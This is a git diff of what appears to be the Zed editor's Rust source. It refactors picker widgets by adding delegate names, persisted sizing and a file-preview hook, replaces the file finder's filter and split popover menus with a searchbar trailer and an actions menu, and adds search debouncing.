index 4f870b7cfbd480..aeba2a5067e075 100644
--- a/crates/agent_ui/src/language_model_selector.rs
+++ b/crates/agent_ui/src/language_model_selector.rs
@@ -47,8 +47,9 @@ pub fn language_model_selector(
     if popover_styles {
         Picker::list(delegate, window, cx)
             .show_scrollbar(true)
-            .width(rems(20.))
-            .max_height(Some(rems(20.).into()))
+            .minimum_results_width(rems(20.))
+            .height(rems(20.))
+            .no_vertical_padding()
     } else {
         Picker::list(delegate, window, cx).show_scrollbar(true)
     }
@@ -390,6 +391,10 @@ impl ModelMatcher {
 impl PickerDelegate for LanguageModelPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "language model selector"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
diff --git a/crates/agent_ui/src/model_selector.rs b/crates/agent_ui/src/model_selector.rs
index 015d1b3a1246dc..fa82018b8a3bed 100644
--- a/crates/agent_ui/src/model_selector.rs
+++ b/crates/agent_ui/src/model_selector.rs
@@ -35,8 +35,9 @@ pub fn acp_model_selector(
     let delegate = ModelPickerDelegate::new(selector, focus_handle, window, cx);
     Picker::list(delegate, window, cx)
         .show_scrollbar(true)
-        .width(rems(20.))
-        .max_height(Some(rems(20.).into()))
+        .minimum_results_width(rems(20.))
+        .height(rems(20.))
+        .no_vertical_padding()
 }
 
 enum ModelPickerEntry {
@@ -192,6 +193,10 @@ impl ModelPickerDelegate {
 impl PickerDelegate for ModelPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "model selector"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
diff --git a/crates/agent_ui/src/profile_selector.rs b/crates/agent_ui/src/profile_selector.rs
index 4ca3241161df78..247890f51a4e99 100644
--- a/crates/agent_ui/src/profile_selector.rs
+++ b/crates/agent_ui/src/profile_selector.rs
@@ -123,8 +123,9 @@ impl ProfileSelector {
             let picker = cx.new(|cx| {
                 Picker::list(delegate, window, cx)
                     .show_scrollbar(true)
-                    .width(rems(18.))
-                    .max_height(Some(rems(20.).into()))
+                    .minimum_results_width(rems(18.))
+                    .height(rems(20.))
+                    .no_vertical_padding()
             });
 
             self.picker = Some(picker);
@@ -430,6 +431,10 @@ impl ProfilePickerDelegate {
 impl PickerDelegate for ProfilePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "profile selector"
+    }
+
     fn placeholder_text(&self, _: &mut Window, _: &mut App) -> Arc<str> {
         "Search profiles…".into()
     }
diff --git a/crates/agent_ui/src/threads_archive_view.rs b/crates/agent_ui/src/threads_archive_view.rs
index f2c325a6bda0e0..d8f1e56bb13bc1 100644
--- a/crates/agent_ui/src/threads_archive_view.rs
+++ b/crates/agent_ui/src/threads_archive_view.rs
@@ -1287,6 +1287,10 @@ impl EventEmitter<DismissEvent> for ProjectPickerDelegate {}
 impl PickerDelegate for ProjectPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "thread archive project picker"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         format!(
             "Associate the \"{}\" thread with...",
diff --git a/crates/collab_ui/src/collab_panel/channel_modal.rs b/crates/collab_ui/src/collab_panel/channel_modal.rs
index f9077a9ab359d0..3caa5a3fb2f1e8 100644
--- a/crates/collab_ui/src/collab_panel/channel_modal.rs
+++ b/crates/collab_ui/src/collab_panel/channel_modal.rs
@@ -259,6 +259,10 @@ pub struct ChannelModalDelegate {
 impl PickerDelegate for ChannelModalDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "channel modal"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search collaborator by username...".into()
     }
diff --git a/crates/collab_ui/src/collab_panel/contact_finder.rs b/crates/collab_ui/src/collab_panel/contact_finder.rs
index e665e660a96163..190c27a483060d 100644
--- a/crates/collab_ui/src/collab_panel/contact_finder.rs
+++ b/crates/collab_ui/src/collab_panel/contact_finder.rs
@@ -71,6 +71,10 @@ impl Focusable for ContactFinder {
 impl PickerDelegate for ContactFinderDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "contact finder"
+    }
+
     fn match_count(&self) -> usize {
         self.potential_contacts.len()
     }
diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index 569d8407b6f7b4..756eca33fc62e1 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -125,7 +125,11 @@ impl CommandPalette {
         );
 
         let picker = cx.new(|cx| {
-            let picker = Picker::uniform_list(delegate, window, cx);
+            let picker = Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(30.))
+                .height(rems(24.))
+                .no_vertical_padding();
             picker.set_query(query, window, cx);
             picker
         });
@@ -150,7 +154,6 @@ impl Render for CommandPalette {
     fn render(&mut self, _window: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
         v_flex()
             .key_context("CommandPalette")
-            .w(rems(34.))
             .child(self.picker.clone())
     }
 }
@@ -376,6 +379,10 @@ impl CommandPaletteDelegate {
 impl PickerDelegate for CommandPaletteDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "command palette"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Execute a command...".into()
     }
diff --git a/crates/debugger_ui/src/attach_modal.rs b/crates/debugger_ui/src/attach_modal.rs
index 5f07f2a70d2837..2942bd117ccdb5 100644
--- a/crates/debugger_ui/src/attach_modal.rs
+++ b/crates/debugger_ui/src/attach_modal.rs
@@ -137,6 +137,10 @@ impl ModalView for AttachModal {}
 impl PickerDelegate for AttachModalDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "attach modal"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
diff --git a/crates/debugger_ui/src/new_process_modal.rs b/crates/debugger_ui/src/new_process_modal.rs
index 9b523c04c66d2e..ecd7d813bd56e2 100644
--- a/crates/debugger_ui/src/new_process_modal.rs
+++ b/crates/debugger_ui/src/new_process_modal.rs
@@ -107,6 +107,8 @@ impl NewProcessModal {
                             DebugDelegate::new(debug_panel.downgrade(), task_store.clone());
                         Picker::list(delegate, window, cx)
                             .modal(false)
+                            .height(rems(24.))
+                            .no_vertical_padding()
                             .list_measure_all()
                     });
 
@@ -1207,6 +1209,10 @@ impl DebugDelegate {
 impl PickerDelegate for DebugDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "debug scenario picker"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
diff --git a/crates/dev_container/src/lib.rs b/crates/dev_container/src/lib.rs
index 833caa830fa08a..d90a06a67f3bef 100644
--- a/crates/dev_container/src/lib.rs
+++ b/crates/dev_container/src/lib.rs
@@ -303,6 +303,10 @@ impl TemplatePickerDelegate {
 impl PickerDelegate for TemplatePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "dev container template picker"
+    }
+
     fn match_count(&self) -> usize {
         self.matching_indices.len()
     }
@@ -486,6 +490,10 @@ impl FeaturePickerDelegate {
 impl PickerDelegate for FeaturePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "dev container feature picker"
+    }
+
     fn match_count(&self) -> usize {
         self.matching_indices.len()
     }
diff --git a/crates/editor/src/display_map.rs b/crates/editor/src/display_map.rs
index 4a5135a21eac3c..9093fcfecf622f 100644
--- a/crates/editor/src/display_map.rs
+++ b/crates/editor/src/display_map.rs
@@ -180,6 +180,7 @@ pub enum HighlightKey {
     MatchingBracket,
     NavigationOverlay(NavigationOverlayKey),
     PendingInput,
+    PickerPreview,
     ProjectSearchView,
     Rename,
     SearchWithinRange,
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 32487c53900ae8..30eaed6bd66d59 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -933,7 +933,7 @@ pub struct Editor {
     /// Whenever you want to modify the scroll position of the editor, you should
     /// usually use the existing available APIs as opposed to directly interacting
     /// with the scroll manager.
-    pub(crate) scroll_manager: ScrollManager,
+    pub scroll_manager: ScrollManager,
     /// When inline assist editors are linked, they all render cursors because
     /// typing enters text into each of them, even the ones that aren't focused.
     pub(crate) show_cursor_when_unfocused: bool,
@@ -11759,6 +11759,21 @@ impl ui_input::ErasedEditor for ErasedEditorImpl {
         });
     }
 
+    fn set_multiline(&self, max_lines: Option<usize>, _window: &mut Window, cx: &mut App) {
+        self.0.update(cx, |this, cx| {
+            if let Some(max_lines) = max_lines {
+                this.set_mode(EditorMode::AutoHeight {
+                    min_lines: 1,
+                    max_lines: Some(max_lines),
+                });
+                this.set_soft_wrap_mode(language_settings::SoftWrap::EditorWidth, cx);
+            } else {
+                this.set_mode(EditorMode::SingleLine);
+            }
+            cx.notify();
+        });
+    }
+
     fn focus_handle(&self, cx: &App) -> FocusHandle {
         self.0.read(cx).focus_handle(cx)
     }
diff --git a/crates/encoding_selector/src/encoding_selector.rs b/crates/encoding_selector/src/encoding_selector.rs
index e99b475de6773c..549ffda394fc0a 100644
--- a/crates/encoding_selector/src/encoding_selector.rs
+++ b/crates/encoding_selector/src/encoding_selector.rs
@@ -221,6 +221,10 @@ fn available_encodings() -> Vec<&'static Encoding> {
 impl PickerDelegate for EncodingSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "encoding selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Reopen with encoding...".into()
     }
diff --git a/crates/extensions_ui/src/extension_version_selector.rs b/crates/extensions_ui/src/extension_version_selector.rs
index 6dd45954a71282..1c123fc35ccd48 100644
--- a/crates/extensions_ui/src/extension_version_selector.rs
+++ b/crates/extensions_ui/src/extension_version_selector.rs
@@ -92,6 +92,10 @@ impl ExtensionVersionSelectorDelegate {
 impl PickerDelegate for ExtensionVersionSelectorDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "extension version selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select extension version...".into()
     }
diff --git a/crates/extensions_ui/src/extensions_ui.rs b/crates/extensions_ui/src/extensions_ui.rs
index 8b729cc4e2a9d4..22e13b54c9bceb 100644
--- a/crates/extensions_ui/src/extensions_ui.rs
+++ b/crates/extensions_ui/src/extensions_ui.rs
@@ -275,7 +275,8 @@ pub fn init(cx: &mut App) {
                     _ => {
                         workspace.toggle_modal(window, cx, |window, cx| {
                             let delegate = DevExtensionRebuildPickerDelegate::new(dev_extensions);
-                            Picker::uniform_list(delegate, window, cx).width(rems(34.))
+                            Picker::uniform_list(delegate, window, cx)
+                                .minimum_results_width(rems(34.))
                         });
                     }
                 }
@@ -1780,6 +1781,10 @@ impl DevExtensionRebuildPickerDelegate {
 impl PickerDelegate for DevExtensionRebuildPickerDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "dev-extension-rebuild"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
diff --git a/crates/file_finder/Cargo.toml b/crates/file_finder/Cargo.toml
index b66d77da25a9b0..569011828105ad 100644
--- a/crates/file_finder/Cargo.toml
+++ b/crates/file_finder/Cargo.toml
@@ -32,7 +32,6 @@ settings.workspace = true
 serde.workspace = true
 theme.workspace = true
 ui.workspace = true
-ui_input.workspace = true
 util.workspace = true
 workspace.workspace = true
 zed_actions.workspace = true
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index 8d3d3a8e6bf313..7c961bf13f96d7 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -13,8 +13,8 @@ use fuzzy::{StringMatch, StringMatchCandidate};
 use fuzzy_nucleo::{PathMatch, PathMatchCandidate};
 use gpui::{
     Action, AnyElement, App, Context, DismissEvent, Empty, Entity, EventEmitter, FocusHandle,
-    Focusable, KeyContext, Modifiers, ModifiersChangedEvent, ParentElement, Render,
-    StatefulInteractiveElement, Styled, Task, TaskExt, WeakEntity, Window, actions, rems,
+    Focusable, KeyContext, Modifiers, ModifiersChangedEvent, ParentElement, Render, Styled, Task,
+    TaskExt, WeakEntity, Window, actions, rems,
 };
 use language::{BufferSnapshot, Point};
 use open_path_prompt::{
@@ -36,12 +36,9 @@ use std::{
         Arc,
         atomic::{self, AtomicBool},
     },
+    time::Duration,
 };
-use ui::{
-    ButtonLike, CommonAnimationExt, ContextMenu, HighlightedLabel, Indicator, KeyBinding, ListItem,
-    ListItemSpacing, PopoverMenu, PopoverMenuHandle, TintColor, Tooltip, prelude::*,
-};
-use ui_input::ErasedEditor;
+use ui::{HighlightedLabel, Indicator, ListItem, ListItemSpacing, Tooltip, prelude::*};
 use util::{
     ResultExt, maybe,
     paths::{PathStyle, PathWithPosition},
@@ -59,35 +56,13 @@ actions!(
     [
         /// Selects the previous item in the file finder.
         SelectPrevious,
-        /// Toggles the file filter menu.
-        ToggleFilterMenu,
-        /// Toggles the split direction menu.
-        ToggleSplitMenu,
         /// Opens the selected file in the editor without dismissing the file finder,
         /// so additional files can be opened in sequence.
         OpenWithoutDismiss
     ]
 );
 
-impl ModalView for FileFinder {
-    fn on_before_dismiss(
-        &mut self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> workspace::DismissDecision {
-        let submenu_focused = self.picker.update(cx, |picker, cx| {
-            picker
-                .delegate
-                .filter_popover_menu_handle
-                .is_focused(window, cx)
-                || picker
-                    .delegate
-                    .split_popover_menu_handle
-                    .is_focused(window, cx)
-        });
-        workspace::DismissDecision::Dismiss(!submenu_focused)
-    }
-}
+impl ModalView for FileFinder {}
 
 pub struct FileFinder {
     picker: Entity<Picker<FileFinderDelegate>>,
@@ -191,7 +166,23 @@ impl FileFinder {
     }
 
     fn new(delegate: FileFinderDelegate, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let modal_max_width_setting = FileFinderSettings::get_global(cx).modal_max_width;
+
+        let project = delegate.project.clone();
+        let picker = cx.new(|cx| {
+            let picker = Picker::uniform_list_with_preview(delegate, project, window, cx)
+                .height(gpui::rems(24.))
+                .no_vertical_padding();
+            // The dedicated file finder width setting has been removed in favor of
+            // persisted picker sizes. For migration we still honor it as the initial
+            // width, but only if the user actually changed it from the default;
+            if modal_max_width_setting != FileFinderWidth::default() {
+                let modal_max_width = Self::modal_max_width(modal_max_width_setting, window);
+                picker.initial_width(Rems::from_pixels(modal_max_width, window))
+            } else {
+                picker
+            }
+        });
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, _| {
             picker.delegate.focus_handle = picker_focus_handle.clone();
@@ -230,38 +221,6 @@ impl FileFinder {
         window.dispatch_action(Box::new(menu::SelectPrevious), cx);
     }
 
-    fn handle_filter_toggle_menu(
-        &mut self,
-        _: &ToggleFilterMenu,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.picker.update(cx, |picker, cx| {
-            let menu_handle = &picker.delegate.filter_popover_menu_handle;
-            if menu_handle.is_deployed() {
-                menu_handle.hide(cx);
-            } else {
-                menu_handle.show(window, cx);
-            }
-        });
-    }
-
-    fn handle_split_toggle_menu(
-        &mut self,
-        _: &ToggleSplitMenu,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.picker.update(cx, |picker, cx| {
-            let menu_handle = &picker.delegate.split_popover_menu_handle;
-            if menu_handle.is_deployed() {
-                menu_handle.hide(cx);
-            } else {
-                menu_handle.show(window, cx);
-            }
-        });
-    }
-
     fn handle_toggle_ignored(
         &mut self,
         _: &ToggleIncludeIgnored,
@@ -385,16 +344,10 @@ impl Render for FileFinder {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let key_context = self.picker.read(cx).delegate.key_context(window, cx);
 
-        let file_finder_settings = FileFinderSettings::get_global(cx);
-        let modal_max_width = Self::modal_max_width(file_finder_settings.modal_max_width, window);
-
         v_flex()
             .key_context(key_context)
-            .w(modal_max_width)
             .on_modifiers_changed(cx.listener(Self::handle_modifiers_changed))
             .on_action(cx.listener(Self::handle_select_prev))
-            .on_action(cx.listener(Self::handle_filter_toggle_menu))
-            .on_action(cx.listener(Self::handle_split_toggle_menu))
             .on_action(cx.listener(Self::handle_toggle_ignored))
             .on_action(cx.listener(Self::go_to_file_split_left))
             .on_action(cx.listener(Self::go_to_file_split_right))
@@ -419,11 +372,10 @@ pub struct FileFinderDelegate {
     selected_index: usize,
     has_changed_selected_index: bool,
     cancel_flag: Arc<AtomicBool>,
+    search_in_flight: Arc<AtomicBool>,
     history_items: Vec<FoundPath>,
     separate_history: bool,
     first_update: bool,
-    filter_popover_menu_handle: PopoverMenuHandle<ContextMenu>,
-    split_popover_menu_handle: PopoverMenuHandle<ContextMenu>,
     focus_handle: FocusHandle,
     include_ignored: Option<bool>,
     include_ignored_refresh: Task<()>,
@@ -845,6 +797,7 @@ impl FoundPath {
 }
 
 const MAX_RECENT_SELECTIONS: usize = 20;
+const SEARCH_DEBOUNCE: Duration = Duration::from_millis(100);
 
 pub enum Event {
     Selected(ProjectPath),
@@ -985,11 +938,10 @@ impl FileFinderDelegate {
             has_changed_selected_index: false,
             selected_index: 0,
             cancel_flag: Arc::new(AtomicBool::new(false)),
+            search_in_flight: Arc::new(AtomicBool::new(false)),
             history_items,
             separate_history,
             first_update: true,
-            filter_popover_menu_handle: PopoverMenuHandle::default(),
-            split_popover_menu_handle: PopoverMenuHandle::default(),
             focus_handle: cx.focus_handle(),
             include_ignored: FileFinderSettings::get_global(cx).include_ignored,
             include_ignored_refresh: Task::ready(()),
@@ -1493,17 +1445,9 @@ impl FileFinderDelegate {
         0
     }
 
-    fn key_context(&self, window: &Window, cx: &App) -> KeyContext {
+    fn key_context(&self, _window: &Window, _cx: &App) -> KeyContext {
         let mut key_context = KeyContext::new_with_defaults();
         key_context.add("FileFinder");
-
-        if self.filter_popover_menu_handle.is_focused(window, cx) {
-            key_context.add("filter_menu_open");
-        }
-
-        if self.split_popover_menu_handle.is_focused(window, cx) {
-            key_context.add("split_menu_open");
-        }
         key_context
     }
 
@@ -1674,10 +1618,54 @@ fn full_path_budget(
 impl PickerDelegate for FileFinderDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "file finder"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search project files...".into()
     }
 
+    fn searchbar_trailer(
+        &self,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        let focus_handle = self.focus_handle.clone();
+        let including_ignored = self.include_ignored == Some(true);
+        // Clicking includes ignored files unless they're already included, in
+        // which case it excludes them again (see `handle_toggle_ignored`).
+        let tooltip_label = if including_ignored {
+            "Exclude Ignored Files"
+        } else {
+            "Include Ignored Files"
+        };
+
+        let filter_button = IconButton::new("filter-ignored", IconName::Sliders)
+            .icon_size(IconSize::Small)
+            .toggle_state(including_ignored)
+            .when(self.include_ignored.is_some(), |this| {
+                this.indicator(Indicator::dot().color(Color::Info))
+            })
+            .tooltip(move |_window, cx| {
+                Tooltip::for_action_in(tooltip_label, &ToggleIncludeIgnored, &focus_handle, cx)
+            })
+            .on_click(|_, window, cx| {
+                window.dispatch_action(ToggleIncludeIgnored.boxed_clone(), cx)
+            });
+        Some(
+            h_flex()
+                .gap_1()
+                .child(filter_button)
+                .children(picker::parts::project_scan_indicator(
+                    self.latest_search_query.is_some(),
+                    &self.project,
+                    cx,
+                ))
+                .into_any_element(),
+        )
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
@@ -1777,12 +1765,20 @@ impl PickerDelegate for FileFinderDelegate {
                 self.selected_index = 0;
             }
             cx.notify();
+            self.search_in_flight
+                .store(false, atomic::Ordering::Release);
             Task::ready(())
         } else {
             let query = parse_file_search_query(raw_query);
             let path = query.path_position.path.clone();
 
+            let search_in_flight = self.search_in_flight.clone();
+            let was_in_flight = search_in_flight.swap(true, atomic::Ordering::Relaxed);
+
             cx.spawn_in(window, async move |this, cx| {
+                if was_in_flight {
+                    cx.background_executor().timer(SEARCH_DEBOUNCE).await;
+                }
                 let _ = maybe!(async move {
                     let is_absolute_path = path.is_absolute();
                     let did_resolve_abs_path = is_absolute_path
@@ -1804,6 +1800,7 @@ impl PickerDelegate for FileFinderDelegate {
                     anyhow::Ok(())
                 })
                 .await;
+                search_in_flight.store(false, atomic::Ordering::Relaxed);
             })
         }
     }
@@ -1823,6 +1820,27 @@ impl PickerDelegate for FileFinderDelegate {
             .log_err();
     }
 
+    fn try_get_preview_data_for_match(&self, cx: &App) -> Option<picker::PreviewUpdate> {
+        let m = self.matches.get(self.selected_index)?;
+        match m {
+            Match::CreateNew(project_path) => {
+                let path_style = self.project.read(cx).path_style(cx);
+                let path_highlight = gpui::HighlightStyle {
+                    color: Some(cx.theme().colors().text_accent),
+                    ..Default::default()
+                };
+                let mut message = picker::HighlightedTextBuilder::default();
+                message.push_plain("Create file ");
+                message.push_styled(project_path.path.display(path_style), path_highlight);
+                message.push_plain("?");
+                Some(picker::PreviewUpdate::message(message.build()))
+            }
+            _ => Some(picker::PreviewUpdate::from_path(
+                m.abs_path(&self.project, cx)?,
+            )),
+        }
+    }
+
     fn render_match(
         &self,
         ix: usize,
@@ -1891,189 +1909,20 @@ impl PickerDelegate for FileFinderDelegate {
         )
     }
 
-    fn render_editor(
+    fn actions_menu(
         &self,
-        editor: &Arc<dyn ErasedEditor>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Div {
-        let has_search_query = self.latest_search_query.is_some();
-        let is_project_scan_running = {
-            let worktree_store = self.project.read(cx).worktree_store();
-            !worktree_store.read(cx).initial_scan_completed()
-        };
-
-        h_flex()
-            .flex_none()
-            .h_9()
-            .px_2p5()
-            .justify_between()
-            .border_b_1()
-            .border_color(cx.theme().colors().border_variant)
-            .child(editor.render(window, cx))
-            .when(is_project_scan_running && has_search_query, |this| {
-                this.child(
-                    h_flex()
-                        .id("project-scan-indicator")
-                        .tooltip(Tooltip::text("Project Scan in Progress…"))
-                        .child(
-                            Icon::new(IconName::LoadCircle)
-                                .color(Color::Accent)
-                                .size(IconSize::Small)
-                                .with_rotate_animation(2),
-                        ),
-                )
-            })
-    }
-
-    fn render_footer(&self, _: &mut Window, cx: &mut Context<Picker<Self>>) -> Option<AnyElement> {
-        let focus_handle = self.focus_handle.clone();
-
-        Some(
-            h_flex()
-                .w_full()
-                .p_1p5()
-                .justify_between()
-                .border_t_1()
-                .border_color(cx.theme().colors().border_variant)
-                .child(
-                    PopoverMenu::new("filter-menu-popover")
-                        .with_handle(self.filter_popover_menu_handle.clone())
-                        .attach(gpui::Anchor::BottomRight)
-                        .anchor(gpui::Anchor::BottomLeft)
-                        .offset(gpui::Point {
-                            x: px(1.0),
-                            y: px(1.0),
-                        })
-                        .trigger_with_tooltip(
-                            IconButton::new("filter-trigger", IconName::Sliders)
-                                .icon_size(IconSize::Small)
-                                .icon_size(IconSize::Small)
-                                .toggle_state(self.include_ignored.unwrap_or(false))
-                                .when(self.include_ignored.is_some(), |this| {
-                                    this.indicator(Indicator::dot().color(Color::Info))
-                                }),
-                            {
-                                let focus_handle = focus_handle.clone();
-                                move |_window, cx| {
-                                    Tooltip::for_action_in(
-                                        "Filter Options",
-                                        &ToggleFilterMenu,
-                                        &focus_handle,
-                                        cx,
-                                    )
-                                }
-                            },
-                        )
-                        .menu({
-                            let focus_handle = focus_handle.clone();
-                            let include_ignored = self.include_ignored;
-
-                            move |window, cx| {
-                                Some(ContextMenu::build(window, cx, {
-                                    let focus_handle = focus_handle.clone();
-                                    move |menu, _, _| {
-                                        menu.context(focus_handle.clone())
-                                            .header("Filter Options")
-                                            .toggleable_entry(
-                                                "Include Ignored Files",
-                                                include_ignored.unwrap_or(false),
-                                                ui::IconPosition::End,
-                                                Some(ToggleIncludeIgnored.boxed_clone()),
-                                                move |window, cx| {
-                                                    window.focus(&focus_handle, cx);
-                                                    window.dispatch_action(
-                                                        ToggleIncludeIgnored.boxed_clone(),
-                                                        cx,
-                                                    );
-                                                },
-                                            )
-                                    }
-                                }))
-                            }
-                        }),
-                )
-                .child(
-                    h_flex()
-                        .gap_0p5()
-                        .child(
-                            PopoverMenu::new("split-menu-popover")
-                                .with_handle(self.split_popover_menu_handle.clone())
-                                .attach(gpui::Anchor::BottomRight)
-                                .anchor(gpui::Anchor::BottomLeft)
-                                .offset(gpui::Point {
-                                    x: px(1.0),
-                                    y: px(1.0),
-                                })
-                                .trigger(
-                                    ButtonLike::new("split-trigger")
-                                        .child(Label::new("Split…"))
-                                        .selected_style(ButtonStyle::Tinted(TintColor::Accent))
-                                        .child(
-                                            KeyBinding::for_action_in(
-                                                &ToggleSplitMenu,
-                                                &focus_handle,
-                                                cx,
-                                            )
-                                            .size(rems_from_px(12.)),
-                                        ),
-                                )
-                                .menu({
-                                    let focus_handle = focus_handle.clone();
-
-                                    move |window, cx| {
-                                        Some(ContextMenu::build(window, cx, {
-                                            let focus_handle = focus_handle.clone();
-                                            move |menu, _, _| {
-                                                menu.context(focus_handle)
-                                                    .action(
-                                                        "Split Left",
-                                                        pane::SplitLeft::default().boxed_clone(),
-                                                    )
-                                                    .action(
-                                                        "Split Right",
-                                                        pane::SplitRight::default().boxed_clone(),
-                                                    )
-                                                    .action(
-                                                        "Split Up",
-                                                        pane::SplitUp::default().boxed_clone(),
-                                                    )
-                                                    .action(
-                                                        "Split Down",
-                                                        pane::SplitDown::default().boxed_clone(),
-                                                    )
-                                            }
-                                        }))
-                                    }
-                                }),
-                        )
-                        .child(
-                            Button::new("open-without-dismiss", "Keep Open")
-                                .key_binding(
-                                    KeyBinding::for_action_in(
-                                        &OpenWithoutDismiss,
-                                        &focus_handle,
-                                        cx,
-                                    )
-                                    .map(|kb| kb.size(rems_from_px(12.))),
-                                )
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(OpenWithoutDismiss.boxed_clone(), cx)
-                                }),
-                        )
-                        .child(
-                            Button::new("open-selection", "Open")
-                                .key_binding(
-                                    KeyBinding::for_action_in(&menu::Confirm, &focus_handle, cx)
-                                        .map(|kb| kb.size(rems_from_px(12.))),
-                                )
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(menu::Confirm.boxed_clone(), cx)
-                                }),
-                        ),
-                )
-                .into_any(),
-        )
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Vec<picker::PickerAction> {
+        vec![
+            picker::PickerAction::header("Split…"),
+            picker::PickerAction::button("Left", pane::SplitLeft::default().boxed_clone()),
+            picker::PickerAction::button("Right", pane::SplitRight::default().boxed_clone()),
+            picker::PickerAction::button("Up", pane::SplitUp::default().boxed_clone()),
+            picker::PickerAction::button("Down", pane::SplitDown::default().boxed_clone()),
+            picker::PickerAction::separator(),
+            picker::PickerAction::button("Open File", menu::Confirm.boxed_clone()),
+        ]
     }
 }
 
diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index 5dddaf3760fba9..bc800417074537 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -198,7 +198,7 @@ async fn test_matching_paths(cx: &mut TestAppContext) {
 
     let (picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("bna");
+    simulate_input(cx, "bna");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 3);
     });
@@ -279,7 +279,7 @@ async fn test_matching_paths_with_colon(cx: &mut TestAppContext) {
     let (picker, _, cx) = build_find_picker(project, cx);
 
     // 'foo:' matches both files
-    cx.simulate_input("foo:");
+    simulate_input(cx, "foo:");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 3);
         assert_match_at_position(picker, 0, "foo.rs");
@@ -287,7 +287,7 @@ async fn test_matching_paths_with_colon(cx: &mut TestAppContext) {
     });
 
     // 'foo:b' matches one of the files
-    cx.simulate_input("b");
+    simulate_input(cx, "b");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 2);
         assert_match_at_position(picker, 0, "foo:bar.rs");
@@ -296,7 +296,7 @@ async fn test_matching_paths_with_colon(cx: &mut TestAppContext) {
     cx.dispatch_action(editor::actions::Backspace);
 
     // 'foo:1' matches both files, specifying which row to jump to
-    cx.simulate_input("1");
+    simulate_input(cx, "1");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 3);
         assert_match_at_position(picker, 0, "foo.rs");
@@ -324,7 +324,7 @@ async fn test_unicode_paths(cx: &mut TestAppContext) {
 
     let (picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("g");
+    simulate_input(cx, "g");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 2);
         assert_match_at_position(picker, 1, "g");
@@ -432,7 +432,7 @@ async fn test_complex_path(cx: &mut TestAppContext) {
 
     let (picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("t");
+    simulate_input(cx, "t");
     picker.update(cx, |picker, _| {
         assert_eq!(picker.delegate.matches.len(), 2);
         assert_eq!(
@@ -1433,7 +1433,7 @@ async fn test_history_items_uniqueness_for_multiple_worktree(cx: &mut TestAppCon
     });
 
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("package.json");
+    simulate_input(cx, "package.json");
 
     picker.update(cx, |finder, _| {
